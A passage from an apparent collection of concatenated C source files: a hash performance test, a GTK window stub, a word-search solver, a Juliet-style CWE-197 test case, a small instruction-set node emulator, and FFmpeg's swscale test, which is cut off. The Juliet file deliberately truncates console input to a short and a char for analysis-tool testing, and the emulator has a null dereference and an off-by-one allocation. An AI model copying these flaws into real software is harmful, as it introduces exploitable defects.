if (positions_burst[k] != positions[j * BURST_SIZE + k]) {
cne_printf("Key looked up in %d, should be in %d\n", positions_burst[k],
positions[j * BURST_SIZE + k]);
return -1;
}
}
}
}
}
const uint64_t end_tsc = cne_rdtsc();
const uint64_t time_taken = end_tsc - start_tsc;
cycles[table_index][LOOKUP_MULTI][with_hash][with_data] = time_taken / num_lookups;
return 0;
}
static int
timed_deletes(unsigned int with_hash, unsigned int with_data, unsigned int table_index,
unsigned int ext)
{
unsigned i;
const uint64_t start_tsc = cne_rdtsc();
int32_t ret;
unsigned int keys_to_add;
if (!ext)
keys_to_add = KEYS_TO_ADD * ADD_PERCENT;
else
keys_to_add = KEYS_TO_ADD;
for (i = 0; i < keys_to_add; i++) {
/* There are no delete functions with data, so just call two functions */
if (with_hash)
ret = cne_hash_del_key_with_hash(htables[table_index], (const void *)keys[i],
signatures[i]);
else
ret = cne_hash_del_key(htables[table_index], (const void *)keys[i]);
if (ret >= 0)
positions[i] = ret;
else {
cne_printf("Failed to delete key number %u\n", i);
return -1;
}
}
const uint64_t end_tsc = cne_rdtsc();
const uint64_t time_taken = end_tsc - start_tsc;
cycles[table_index][DELETE][with_hash][with_data] = time_taken / keys_to_add;
return 0;
}
static int
run_all_tbl_perf_tests(unsigned int with_pushes, unsigned int ext)
{
unsigned i, j, with_data, with_hash;
cne_printf("Measuring performance, please wait");
fflush(stdout);
for (with_data = 0; with_data <= 1; with_data++) {
for (i = 0; i < NUM_KEYSIZES; i++) {
if (create_table(with_data, i, ext) < 0)
return -1;
if (get_input_keys(with_pushes, i, ext) < 0)
return -1;
for (with_hash = 0; with_hash <= 1; with_hash++) {
if (timed_adds(with_hash, with_data, i, ext) < 0)
return -1;
for (j = 0; j < NUM_SHUFFLES; j++)
shuffle_input_keys(i, ext);
if (timed_lookups(with_hash, with_data, i, ext) < 0)
return -1;
if (timed_lookups_multi(with_hash, with_data, i, ext) < 0)
return -1;
if (timed_deletes(with_hash, with_data, i, ext) < 0)
return -1;
/* Print a dot to show progress on operations */
cne_printf(".");
fflush(stdout);
reset_table(i);
}
free_table(i);
}
}
cne_printf("\nResults (in CPU cycles/operation)\n");
cne_printf("-----------------------------------\n");
for (with_data = 0; with_data <= 1; with_data++) {
if (with_data)
cne_printf("\n Operations with 8-byte data\n");
else
cne_printf("\n Operations without data\n");
for (with_hash = 0; with_hash <= 1; with_hash++) {
if (with_hash)
cne_printf("\nWith pre-computed hash values\n");
else
cne_printf("\nWithout pre-computed hash values\n");
cne_printf("\n%-18s%-18s%-18s%-18s%-18s\n", "Keysize", "Add", "Lookup", "Lookup_bulk",
"Delete");
for (i = 0; i < NUM_KEYSIZES; i++) {
cne_printf("%-18d", hashtest_key_lens[i]);
for (j = 0; j < NUM_OPERATIONS; j++)
cne_printf("%-18" PRIu64, cycles[i][j][with_hash][with_data]);
cne_printf("\n");
}
}
}
return 0;
}
/* Control operation of performance testing of fbk hash. */
#define LOAD_FACTOR 0.667 /* How full to make the hash table. */
#define TEST_SIZE 1000000 /* How many operations to time. */
#define TEST_ITERATIONS 30 /* How many measurements to take. */
#define ENTRIES (1 << 15) /* How many entries. */
static int
fbk_hash_perf_test(void)
{
struct cne_fbk_hash_params params = {
.name = "fbk_hash_test",
.entries = ENTRIES,
.entries_per_bucket = 4,
.socket_id = cne_socket_id(cne_lcore_id()),
};
struct cne_fbk_hash_table *handle = NULL;
uint32_t *keys = NULL;
unsigned indexes[TEST_SIZE];
uint64_t lookup_time = 0;
unsigned added = 0;
unsigned value = 0;
uint32_t key;
uint16_t val;
unsigned i, j;
handle = cne_fbk_hash_create(¶ms);
if (handle == NULL) {
cne_printf("Error creating table\n");
return -1;
}
keys = calloc(ENTRIES, sizeof(*keys));
if (keys == NULL) {
cne_printf("fbk hash: memory allocation for key store failed\n");
return -1;
}
/* Generate random keys and values. */
for (i = 0; i < ENTRIES; i++) {
key = (uint32_t)rand();
key = ((uint64_t)key << 32) | (uint64_t)rand();
val = (uint16_t)rand();
if (cne_fbk_hash_add_key(handle, key, val) == 0) {
keys[added] = key;
added++;
}
if (added > (LOAD_FACTOR * ENTRIES))
break;
}
if (added == 0) {
cne_printf("Failed to add keys to key store\n");
free(keys);
return -1;
}
for (i = 0; i < TEST_ITERATIONS; i++) {
uint64_t begin;
uint64_t end;
/* Generate random indexes into keys[] array. */
for (j = 0; j < TEST_SIZE; j++)
indexes[j] = rand() % added;
begin = cne_rdtsc();
/* Do lookups */
for (j = 0; j < TEST_SIZE; j++)
value += cne_fbk_hash_lookup(handle, keys[indexes[j]]);
end = cne_rdtsc();
lookup_time += (double)(end - begin);
}
cne_printf("\n\n *** FBK Hash function performance test results ***\n");
/*
* The use of the 'value' variable ensures that the hash lookup is not
* being optimised out by the compiler.
*/
if (value != 0)
cne_printf("Number of ticks per lookup = %g\n",
(double)lookup_time / ((double)TEST_ITERATIONS * (double)TEST_SIZE));
cne_fbk_hash_free(handle);
free(keys);
return 0;
}
static int
test_hash_perf(void)
{
unsigned int with_pushes;
cne_printf("\nWithout locks in the code\n");
for (with_pushes = 0; with_pushes <= 1; with_pushes++) {
if (with_pushes == 0)
cne_printf("\nALL ELEMENTS IN PRIMARY LOCATION\n");
else
cne_printf("\nELEMENTS IN PRIMARY OR SECONDARY LOCATION\n");
if (run_all_tbl_perf_tests(with_pushes, 0) < 0)
return -1;
}
cne_printf("\n EXTENDABLE BUCKETS PERFORMANCE\n");
if (run_all_tbl_perf_tests(1, 1) < 0)
return -1;
if (fbk_hash_perf_test() < 0)
return -1;
return 0;
}
int
hash_perf_main(int argc, char **argv)
{
tst_info_t *tst;
int opt, flags = 0;
char **argvopt;
int option_index;
static const struct option lgopts[] = {{NULL, 0, 0, 0}};
argvopt = argv;
while ((opt = getopt_long(argc, argvopt, "v", lgopts, &option_index)) != EOF) {
switch (opt) {
case 'v':
break;
default:
break;
}
}
(void)flags;
tst = tst_start("Hash");
memset(htables, 0, sizeof(htables));
if (test_hash_perf() < 0)
goto leave;
tst_end(tst, TST_PASSED);
return 0;
leave:
tst_end(tst, TST_FAILED);
return -1;
}
|
112255.c | #include <gtk/gtk.h>
int main(int argc, char *argv[]) {
GtkWidget *window;
gtk_init(&argc, &argv);
window = gtk_window_new(GTK_WINDOW_TOPLEVEL);
gtk_window_set_title(GTK_WINDOW(window), "Invaders Tutorial");
gtk_window_set_position(GTK_WINDOW(window), GTK_WIN_POS_CENTER);
gtk_window_set_default_size(GTK_WINDOW(window), 640, 480);
gtk_window_set_type_hint(GTK_WINDOW(window), GDK_WINDOW_TYPE_HINT_UTILITY);
g_signal_connect(window, "destroy", G_CALLBACK(gtk_main_quit), NULL);
gtk_widget_show_all(window);
gtk_main();
return 0;
}
|
352007.c | #include "word_search.h"
#include <stdlib.h>
#include <string.h>
static bool exist_dfs(char **board, int row, int col, bool **visited, int i, int j,
char *word, size_t len, size_t index) {
if (index == len)
return true;
if (i < 0 || i >= row || j < 0 || j >= col || visited[i][j] || board[i][j] != word[index])
return false;
visited[i][j] = true;
bool exist = exist_dfs(board, row, col, visited, i - 1, j, word, len, index + 1) ||
exist_dfs(board, row, col, visited, i + 1, j, word, len, index + 1) ||
exist_dfs(board, row, col, visited, i, j - 1, word, len, index + 1) ||
exist_dfs(board, row, col, visited, i, j + 1, word, len, index + 1);
visited[i][j] = false;
return exist;
}
bool exist_79_1(char **board, int boardRowSize, int boardColSize, char *word) {
if (board == NULL || boardRowSize < 1 || boardColSize < 1 || word == NULL) return false;
bool **visited = (bool **) malloc(boardRowSize * sizeof(bool *));
for (int i = 0; i < boardRowSize; ++i)
visited[i] = (bool *) calloc(boardColSize, sizeof(bool));
bool ret = false;
const size_t len = strlen(word);
for (int i = 0; i < boardRowSize && !ret; ++i) {
for (int j = 0; j < boardColSize; ++j) {
if (exist_dfs(board, boardRowSize, boardColSize, visited, i, j, word, len, 0)) {
ret = true;
break;
}
}
}
for (int i = 0; i < boardRowSize; ++i) free(visited[i]);
free(visited);
return ret;
}
|
375741.c | /* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE197_Numeric_Truncation_Error__short_fgets_53a.c
Label Definition File: CWE197_Numeric_Truncation_Error__short.label.xml
Template File: sources-sink-53a.tmpl.c
*/
/*
* @description
* CWE: 197 Numeric Truncation Error
* BadSource: fgets Read data from the console using fgets()
* GoodSource: Less than CHAR_MAX
* Sink:
* BadSink : Convert data to a char
* Flow Variant: 53 Data flow: data passed as an argument from one function through two others to a fourth; all four functions are in different source files
*
* */
#include "std_testcase.h"
/* Must be at least 8 for atoi() to work properly */
#define CHAR_ARRAY_SIZE 8
#ifndef OMITBAD
/* bad function declaration */
void CWE197_Numeric_Truncation_Error__short_fgets_53b_bad_sink(short data);
void CWE197_Numeric_Truncation_Error__short_fgets_53_bad()
{
short data;
/* Initialize data */
data = -1;
{
char input_buf[CHAR_ARRAY_SIZE] = "";
/* POTENTIAL FLAW: Use a number input from the console using fgets() */
fgets(input_buf, CHAR_ARRAY_SIZE, stdin);
/* Convert to short */
data = (short)atoi(input_buf);
}
CWE197_Numeric_Truncation_Error__short_fgets_53b_bad_sink(data);
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* good function declaration */
void CWE197_Numeric_Truncation_Error__short_fgets_53b_goodG2B_sink(short data);
/* goodG2B uses the GoodSource with the BadSink */
static void goodG2B()
{
short data;
/* Initialize data */
data = -1;
/* FIX: Use a positive integer less than CHAR_MAX*/
data = CHAR_MAX-5;
CWE197_Numeric_Truncation_Error__short_fgets_53b_goodG2B_sink(data);
}
void CWE197_Numeric_Truncation_Error__short_fgets_53_good()
{
goodG2B();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
its own for testing or for building a binary to use in testing binary
analysis tools. It is not used when compiling all the testcases as one
application, which is how source code analysis tools are tested. */
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE197_Numeric_Truncation_Error__short_fgets_53_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE197_Numeric_Truncation_Error__short_fgets_53_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
|
554779.c | #include <stdio.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include "util.h"
#include "node.h"
void node_init(Node *n) {
n->instruction_count = 0;
n->ip = 0;
n->acc = 0;
n->bak = 0;
n->visible = FALSE;
n->blocked = FALSE;
n->instructions = (Instruction *) malloc(sizeof(Instruction) * MAX_INSTRUCTIONS);
n->output_port = NULL;
n->output_value = 0;
n->last = NULL;
n->ports[0] = NULL;
n->ports[1] = NULL;
n->ports[2] = NULL;
n->ports[3] = NULL;
}
void node_clean(Node *n) {
free(n->instructions);
}
Instruction *node_create_instruction(Node *n, Operation op) {
assert(n->instruction_count < MAX_INSTRUCTIONS);
Instruction *i = &n->instructions[n->instruction_count++];
i->operation = op;
return i;
}
static void parse_location(const char *s, union Location *loc, LocationType *type) {
if (!s) { raise_error("no source was found"); }
if (strcmp(s, "UP") == 0) {
*type = ADDRESS;
(*loc).direction = UP;
} else if (strcmp(s, "DOWN") == 0) {
*type = ADDRESS;
(*loc).direction = DOWN;
} else if (strcmp(s, "LEFT") == 0) {
*type = ADDRESS;
(*loc).direction = LEFT;
} else if (strcmp(s, "RIGHT") == 0) {
*type = ADDRESS;
(*loc).direction = RIGHT;
} else if (strcmp(s, "ACC") == 0) {
*type = ADDRESS;
(*loc).direction = ACC;
} else if (strcmp(s, "NIL") == 0) {
*type = ADDRESS;
(*loc).direction = NIL;
} else if (strcmp(s, "ANY") == 0) {
*type = ADDRESS;
(*loc).direction = ANY;
} else if (strcmp(s, "LAST") == 0) {
*type = ADDRESS;
(*loc).direction = LAST;
} else {
*type = NUMBER;
(*loc).number = atoi(s);
}
}
static void parse_mov(Node *n, const char *s) {
const int len = strlen(s+4);
char *rem = (char *) malloc(sizeof(char) * (len + 1));
strcpy(rem, s+4);
Instruction *i = node_create_instruction(n, MOV);
parse_location(strtok(rem, " ,"), &i->src, &i->src_type);
parse_location(strtok(NULL, " ,\n"), &i->dest, &i->dest_type);
free(rem);
}
static void parse_onearg(Node *n, InputCode *ic, const char *s, Operation op) {
const int len = strlen(s+4);
char *rem = (char *) malloc(sizeof(char) * (len + 1));
strcpy(rem, s+4);
Instruction *ins = node_create_instruction(n, op);
switch(op) {
case JEZ:
case JMP:
case JNZ:
case JGZ:
case JLZ:
for (int i=0; i<ic->label_count; i++) {
const char *label = ic->labels[i];
if (strcmp(label, rem) == 0) {
ins->src_type = NUMBER;
ins->src.number = ic->label_address[i];
goto finally;
}
}
default:
parse_location(rem, &ins->src, &ins->src_type);
}
finally:
free(rem);
}
void node_parse_code(Node *n, InputCode *ic) {
// First let's find the labels
for (int i=0; i< ic->line_count; i++) {
char *line = ic->lines[i];
// Look for a label
char *c = line;
while (*c != '\0') {
if (*c == ':') {
int length = (c - line);
char *label = (char *) malloc(sizeof(char) * (length + 1));
strncpy(label, line, length);
label[length] = '\0';
int idx = ic->label_count;
ic->labels[idx] = label;
ic->label_address[idx] = i;
ic->label_count++;
// Remove the label from the code
char *rem = trim_whitespace(c+1);
// We need something to jump to, so NOP for now
// TODO: compress empty lines and jump to the next instruction
if (!strlen(rem)) { rem = "NOP"; }
char *new_line = (char *) malloc(sizeof(char) * strlen(rem));
strcpy(new_line, rem);
free(line);
line = new_line;
ic->lines[i] = new_line;
}
c++;
}
}
for (int i=0; i< ic->line_count; i++) {
node_parse_line(n, ic, ic->lines[i]);
}
}
void node_parse_line(Node *n, InputCode *ic, const char *s) {
assert(n);
assert(s);
assert(strlen(s) > 2);
char ins[4];
strncpy(ins, s, 3);
ins[3] = '\0';
if (strcmp(ins, "MOV") == 0) {
parse_mov(n, s);
} else if (strcmp(ins, "SUB") == 0) {
parse_onearg(n, ic, s, SUB);
} else if (strcmp(ins, "ADD") == 0) {
parse_onearg(n, ic, s, ADD);
} else if (strcmp(ins, "JEZ") == 0) {
parse_onearg(n, ic, s, JEZ);
} else if (strcmp(ins, "JMP") == 0) {
parse_onearg(n, ic, s, JMP);
} else if (strcmp(ins, "JNZ") == 0) {
parse_onearg(n, ic, s, JNZ);
} else if (strcmp(ins, "JGZ") == 0) {
parse_onearg(n, ic, s, JGZ);
} else if (strcmp(ins, "JLZ") == 0) {
parse_onearg(n, ic, s, JLZ);
} else if (strcmp(ins, "JRO") == 0) {
parse_onearg(n, ic, s, JRO);
} else if (strcmp(ins, "SAV") == 0) {
node_create_instruction(n, SAV);
} else if (strcmp(ins, "SWP") == 0) {
node_create_instruction(n, SWP);
} else if (strcmp(ins, "NOP") == 0) {
node_create_instruction(n, NOP);
} else if (strcmp(ins, "NEG") == 0) {
node_create_instruction(n, NEG);
} else if (strcmp(ins, "OUT") == 0) {
node_create_instruction(n, OUT);
} else {
raise_error("Don't understand instruction [%s]", ins);
}
}
static inline void node_set_ip(Node *n, short new_val) {
if (new_val >= n->instruction_count || new_val < 0) new_val = 0;
n->ip = new_val;
}
static inline Node *node_get_input_port(Node *n, int direction)
{
if (direction == ANY) {
LocationDirection dirs[] = {LEFT,RIGHT,UP,DOWN};
for(int i=0; i < 4; i++) {
Node *port = n->ports[dirs[i]];
if (port && port->output_port == n) {
return port;
}
}
return NULL;
} else if (direction == LAST) {
return n->last;
} else {
return n->ports[direction];
}
}
static inline Node *node_get_output_port(Node *n, int direction)
{
if (direction == ANY) {
LocationDirection dirs[] = {UP,LEFT,RIGHT,DOWN};
for(int i=0; i < 4; i++) {
Node *port = n->ports[dirs[i]];
Instruction *inst = &port->instructions[port->ip];
if (port && inst->operation == MOV && inst->src_type == ADDRESS && (inst->src.direction == ANY || port->ports[inst->src.direction] == n) ) {
return port;
}
}
return NULL;
} else if (direction == LAST) {
return n->last;
} else {
return n->ports[direction];
}
}
ReadResult node_read(Node *n, LocationType type, union Location where) {
ReadResult res;
res.blocked = 0;
if (n->output_port) { return res; }
if (type == NUMBER) {
res.value = where.number;
} else {
Node *read_from;
switch (where.direction) {
case NIL:
res.value = 0;
break;
case ACC:
res.value = n->acc;
break;
case UP:
case RIGHT:
case DOWN:
case LEFT:
case ANY:
case LAST:
read_from = node_get_input_port(n, where.direction);
if (read_from && read_from->output_port == n) {
res.value = read_from->output_value;
res.blocked = 0;
read_from->output_value = 0;
read_from->output_port = NULL;
node_advance(read_from);
if (where.direction == ANY) n->last = read_from;
} else if (read_from == NULL && where.direction == LAST) {
res.value = 0;
} else {
res.blocked = 1;
}
break;
default:
raise_error("unhandled direction");
}
}
return res;
}
int node_write(Node *n, LocationDirection dir, short value) {
Node *dest;
switch(dir) {
case ACC: n->acc = value; break;
case UP:
case RIGHT:
case DOWN:
case LEFT:
case ANY:
case LAST:
dest = node_get_output_port(n, dir);
if (dest && n->output_port == NULL) {
n->output_port = dest;
n->output_value = value;
if (dir == ANY) n->last = dest;
}
return 1;
break;
case NIL:
raise_error("Can't write to %d", dir);
default:
raise_error("don't know how to write %d", dir);
}
// not blocked
return 0;
}
void node_advance(Node *n) {
node_set_ip(n, n->ip+1);
}
void node_tick(Node *n) {
n->blocked = TRUE;
Instruction *i = &n->instructions[n->ip];
short tmp;
ReadResult read;
int blocked;
switch(i->operation) {
case MOV:
read = node_read(n, i->src_type, i->src);
if (read.blocked) return;
blocked = node_write(n, i->dest.direction, read.value);
if (blocked) return;
break;
case ADD:
read = node_read(n, i->src_type, i->src);
if (read.blocked) return;
n->acc += read.value;
if (n->acc > MAX_ACC) n->acc = MAX_ACC;
if (n->acc < MIN_ACC) n->acc = MIN_ACC;
break;
case SUB:
read = node_read(n, i->src_type, i->src);
if (read.blocked) return;
n->acc -= read.value;
if (n->acc > MAX_ACC) n->acc = MAX_ACC;
if (n->acc < MIN_ACC) n->acc = MIN_ACC;
break;
case JMP: node_set_ip(n, i->src.number); return;
case JRO:
read = node_read(n, i->src_type, i->src);
if (read.blocked) return;
node_set_ip(n, n->ip + read.value); return;
case JEZ:
if (n->acc == 0) {
node_set_ip(n, i->src.number);
return;
}
break;
case JGZ:
if (n->acc > 0) {
node_set_ip(n, i->src.number);
return;
}
break;
case JLZ:
if (n->acc < 0) {
node_set_ip(n, i->src.number);
return;
}
break;
case JNZ:
if (n->acc != 0) {
node_set_ip(n, i->src.number);
return;
}
break;
case SWP:
tmp = n->bak;
n->bak = n->acc;
n->acc = tmp;
break;
case SAV: n->bak = n->acc; break;
case NEG: n->acc = n->acc * -1; break;
case NOP: break;
case OUT:
#ifndef RICH_OUTPUT
printf("%d\n", n->acc);
#endif
break;
default:
raise_error("ERROR: DIDN'T HANDLE op\n");
}
n->blocked = FALSE;
node_advance(n);
}
|
23709.c | /*
* Copyright (C) 2003-2011 Michael Niedermayer <[email protected]>
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* FFmpeg is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with FFmpeg; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#include <stdarg.h>
#undef HAVE_AV_CONFIG_H
#include "libavutil/imgutils.h"
#include "libavutil/mem.h"
#include "libavutil/avutil.h"
#include "libavutil/crc.h"
#include "libavutil/pixdesc.h"
#include "libavutil/lfg.h"
#include "swscale.h"
/* HACK Duplicated from swscale_internal.h.
* Should be removed when a cleaner pixel format system exists. */
#define isGray(x) \
((x) == AV_PIX_FMT_GRAY8 || \
(x) == AV_PIX_FMT_YA8 || \
(x) == AV_PIX_FMT_GRAY16BE || \
(x) == AV_PIX_FMT_GRAY16LE || \
(x) == AV_PIX_FMT_YA16BE || \
(x) == AV_PIX_FMT_YA16LE)
#define hasChroma(x) \
(!(isGray(x) || \
(x) == AV_PIX_FMT_MONOBLACK || \
(x) == AV_PIX_FMT_MONOWHITE))
#define isALPHA(x) \
((x) == AV_PIX_FMT_BGR32 || \
(x) == AV_PIX_FMT_BGR32_1 || \
(x) == AV_PIX_FMT_RGB32 || \
(x) == AV_PIX_FMT_RGB32_1 || \
(x) == AV_PIX_FMT_YUVA420P)
static uint64_t getSSD(const uint8_t *src1, const uint8_t *src2, int stride1,
int stride2, int w, int h)
{
int x, y;
uint64_t ssd = 0;
for (y = 0; y < h; y++) {
for (x = 0; x < w; x++) {
int d = src1[x + y * stride1] - src2[x + y * stride2];
ssd += d * d;
}
}
return ssd;
}
struct Results {
uint64_t ssdY;
uint64_t ssdU;
uint64_t ssdV;
uint64_t ssdA;
uint32_t crc;
};
// test by ref -> src -> dst -> out & compare out against ref
// ref & out are YV12
static int doTest(uint8_t *ref[4], int refStride[4], int w, int h,
enum AVPixelFormat srcFormat, enum AVPixelFormat dstFormat,
int srcW, int srcH, int dstW, int dstH, int flags,
struct Results *r)
{
const AVPixFmtDescriptor *desc_yuva420p = av_pix_fmt_desc_get(AV_PIX_FMT_YUVA420P);
const AVPixFmtDescriptor *desc_src = av_pix_fmt_desc_get(srcFormat);
const AVPixFmtDescriptor *desc_dst = av_pix_fmt_desc_get(dstFormat);
static enum AVPixelFormat cur_srcFormat;
static int cur_srcW, cur_srcH;
static uint8_t *src[4];
static int srcStride[4];
uint8_t *dst[4] = { 0 };
uint8_t *out[4] = { 0 };
int dstStride[4] = {0};
int i;
uint64_t ssdY, ssdU = 0, ssdV = 0, ssdA = 0;
struct SwsContext *dstContext = NULL, *outContext = NULL;
uint32_t crc = 0;
int res = 0;
if (cur_srcFormat != srcFormat || cur_srcW != srcW || cur_srcH != srcH) {
struct SwsContext *srcContext = NULL;
int p;
for (p = 0; p < 4; p++)
av_freep(&src[p]);
av_image_fill_linesizes(srcStride, srcFormat, srcW);
for (p = 0; p < 4; p++) {
srcStride[p] = FFALIGN(srcStride[p], 16);
if (srcStride[p])
src[p] = av_mallocz(srcStride[p] * srcH + 16);
if (srcStride[p] && !src[p]) {
perror("Malloc");
res = -1;
goto end;
}
}
srcContext = sws_getContext(w, h, AV_PIX_FMT_YUVA420P, srcW, srcH,
srcFormat, SWS_BILINEAR, NULL, NULL, NULL);
if (!srcContext) {
fprintf(stderr, "Failed to get %s ---> %s\n",
desc_yuva420p->name,
desc_src->name);
res = -1;
goto end;
}
sws_scale(srcContext, (const uint8_t * const*)ref, refStride, 0, h, src, srcStride);
sws_freeContext(srcContext);
cur_srcFormat = srcFormat;
cur_srcW = srcW;
cur_srcH = srcH;
}
av_image_fill_linesizes(dstStride, dstFormat, dstW);
for (i = 0; i < 4; i++) {
/* Image buffers passed into libswscale can be allocated any way you
* prefer, as long as they're aligned enough for the architecture, and
* they're freed appropriately (such as using av_free for buffers
* allocated with av_malloc). */
/* An extra 16 bytes is being allocated because some scalers may write
* out of bounds. */
dstStride[i] = FFALIGN(dstStride[i], 16);
if (dstStride[i])
dst[i] = av_mallocz(dstStride[i] * dstH + 16);
if (dstStride[i] && !dst[i]) {
perror("Malloc");
res = -1;
goto end;
}
}
dstContext = sws_getContext(srcW, srcH, srcFormat, dstW, dstH, dstFormat,
flags, NULL, NULL, NULL);
if (!dstContext) {
fprintf(stderr, "Failed to get %s ---> %s\n",
desc_src->name, desc_dst->name);
res = -1;
goto end;
}
printf(" %s %dx%d -> %s %3dx%3d flags=%2d",
desc_src->name, srcW, srcH,
desc_dst->name, dstW, dstH,
flags);
fflush(stdout);
sws_scale(dstContext, (const uint8_t * const*)src, srcStride, 0, srcH, dst, dstStride);
for (i = 0; i < 4 && dstStride[i]; i++)
crc = av_crc(av_crc_get_table(AV_CRC_32_IEEE), crc, dst[i],
dstStride[i] * dstH);
if (r && crc == r->crc) {
ssdY = r->ssdY;
ssdU = r->ssdU;
ssdV = r->ssdV;
ssdA = r->ssdA;
} else {
for (i = 0; i < 4; i++) {
refStride[i] = FFALIGN(refStride[i], 16);
if (refStride[i])
out[i] = av_mallocz(refStride[i] * h);
if (refStride[i] && !out[i]) {
perror("Malloc");
res = -1;
goto end;
}
}
outContext = sws_getContext(dstW, dstH, dstFormat, w, h,
AV_PIX_FMT_YUVA420P, SWS_BILINEAR,
NULL, NULL, NULL);
if (!outContext) {
fprintf(stderr, "Failed to get %s ---> %s\n",
desc_dst->name,
desc_yuva420p->name);
res = -1;
goto end;
}
sws_scale(outContext, (const uint8_t * const*)dst, dstStride, 0, dstH, out, refStride);
ssdY = getSSD(ref[0], out[0], refStride[0], refStride[0], w, h);
if (hasChroma(srcFormat) && hasChroma(dstFormat)) {
//FIXME check that output is really gray
ssdU = getSSD(ref[1], out[1], refStride[1], refStride[1],
(w + 1) >> 1, (h + 1) >> 1);
ssdV = getSSD(ref[2], out[2], refStride[2], refStride[2],
(w + 1) >> 1, (h + 1) >> 1);
}
if (isALPHA(srcFormat) && isALPHA(dstFormat))
ssdA = getSSD(ref[3], out[3], refStride[3], refStride[3], w, h);
ssdY /= w * h;
ssdU /= w * h / 4;
ssdV /= w * h / 4;
ssdA /= w * h;
sws_freeContext(outContext);
for (i = 0; i < 4; i++)
if (refStride[i])
av_free(out[i]);
}
printf(" CRC=%08x SSD=%5"PRId64 ",%5"PRId64 ",%5"PRId64 ",%5"PRId64 "\n",
crc, ssdY, ssdU, ssdV, ssdA);
end:
sws_freeContext(dstContext);
for (i = 0; i < 4; i++)
if (dstStride[i])
av_free(dst[i]);
return res;
}
static void selfTest(uint8_t *ref[4], int refStride[4], int w, int h,
enum AVPixelFormat srcFormat_in,
enum AVPixelFormat dstFormat_in)
{
const int flags[] = { SWS_FAST_BILINEAR, SWS_BILINEAR, SWS_BICUBIC,
SWS_X, SWS_POINT, SWS_AREA, 0 };
const int srcW = w;
const int srcH = h;
const int dstW[] = { srcW - srcW / 3, srcW, srcW + srcW / 3, 0 };
const int dstH[] = { srcH - srcH / 3, srcH, srcH + srcH / 3, 0 };
enum AVPixelFormat srcFormat, dstFormat;
const AVPixFmtDescriptor *desc_src, *desc_dst;
for (srcFormat = srcFormat_in != AV_PIX_FMT_NONE ? srcFormat_in : 0;
srcFormat < AV_PIX_FMT_NB; srcFormat++) {
if (!sws_isSupportedInput(srcFormat) ||
!sws_isSupportedOutput(srcFormat))
continue;
desc_src = av_pix_fmt_desc_get(srcFormat);
for (dstFormat = dstFormat_in != AV_PIX_FMT_NONE ? dstFormat_in : 0;
dstFormat < AV_PIX_FMT_NB; dstFormat++) {
int i, j, k;
int res = 0;
if (!sws_isSupportedInput(dstFormat) ||
!sws_isSupportedOutput(dstFormat))
continue;
desc_dst = av_pix_fmt_desc_get(dstFormat);
printf("%s -> %s\n", desc_src->name, desc_dst->name);
fflush(stdout);
for (k = 0; flags[k] && !res; k++)
for (i = 0; dstW[i] && !res; i++)
for (j = 0; dstH[j] && !res; j++)
res = doTest(ref, refStride, w, h,
srcFormat, dstFormat,
srcW, srcH, dstW[i], dstH[j], flags[k],
NULL);
if (dstFormat_in != AV_PIX_FMT_NONE)
break;
}
if (srcFormat_in != AV_PIX_FMT_NONE)
break;
}
}
static int fileTest(uint8_t *ref[4], int refStride[4], int w, int h, FILE *fp,
enum AVPixelFormat srcFormat_in,
enum AVPixelFormat dstFormat_in)
{
char buf[256];
while (fgets(buf, sizeof(buf), fp)) {
struct Results r;
enum AVPixelFormat srcFormat;
char srcStr[12];
int srcW, srcH;
enum AVPixelFormat dstFormat;
char dstStr[12];
int dstW, dstH;
int flags;
int ret;
ret = sscanf(buf,
" %12s %dx%d -> %12s %dx%d flags=%d CRC=%x"
" SSD=%"SCNd64 ", %"SCNd64 ", %"SCNd64 ", %"SCNd64 "\n",
srcStr, &srcW, &srcH, dstStr, &dstW, &dstH,
&flags, &r.crc, &r.ssdY, &r.ssdU, &r.ssdV, &r.ssdA);
if (ret != 12) {
srcStr[0] = dstStr[0] = 0;
ret = sscanf(buf, "%12s -> %12s\n", srcStr, dstStr);
}
srcFormat = av_get_pix_fmt(srcStr);
dstFormat = av_get_pix_fmt(dstStr);
if (srcFormat == AV_PIX_FMT_NONE || dstFormat == AV_PIX_FMT_NONE ||
srcW > 8192U || srcH > 8192U || dstW > 8192U || dstH > 8192U) {
fprintf(stderr, "malformed input file\n");
return -1;
}
if ((srcFormat_in != AV_PIX_FMT_NONE && srcFormat_in != srcFormat) ||
(dstFormat_in != AV_PIX_FMT_NONE && dstFormat_in != dstFormat))
continue;
if (ret != 12) {
printf("%s", buf);
continue;
}
doTest(ref, refStride, w, h,
srcFormat, dstFormat,
srcW, srcH, dstW, dstH, flags,
&r);
}
return 0;
}
#define W 96
#define H 96
int main(int argc, char **argv)
{
enum AVPixelFormat srcFormat = AV_PIX_FMT_NONE;
enum AVPixelFormat dstFormat = AV_PIX_FMT_NONE;
uint8_t *rgb_data = av_malloc(W * H * 4);
const uint8_t * const rgb_src[4] = { rgb_data, NULL, NULL, NULL };
int rgb_stride[4] = { 4 * W, 0, 0, 0 };
uint8_t *data = av_malloc(4 * W * H);
uint8_t *src[4] = { data, data + W * H, data + W * H * 2, data + W * H * 3 };
int stride[4] = { W, W, W, W };
int x, y;
struct SwsContext *sws;
AVLFG rand;
int res = -1;
int i;
FILE *fp = NULL;
if (!rgb_data || !data)
return -1;
for (i = 1; i < argc; i += 2) {
if (argv[i][0] != '-' || i + 1 == argc)
goto bad_option;
if (!strcmp(argv[i], "-ref")) {
fp = fopen(argv[i + 1], "r");
if (!fp) {
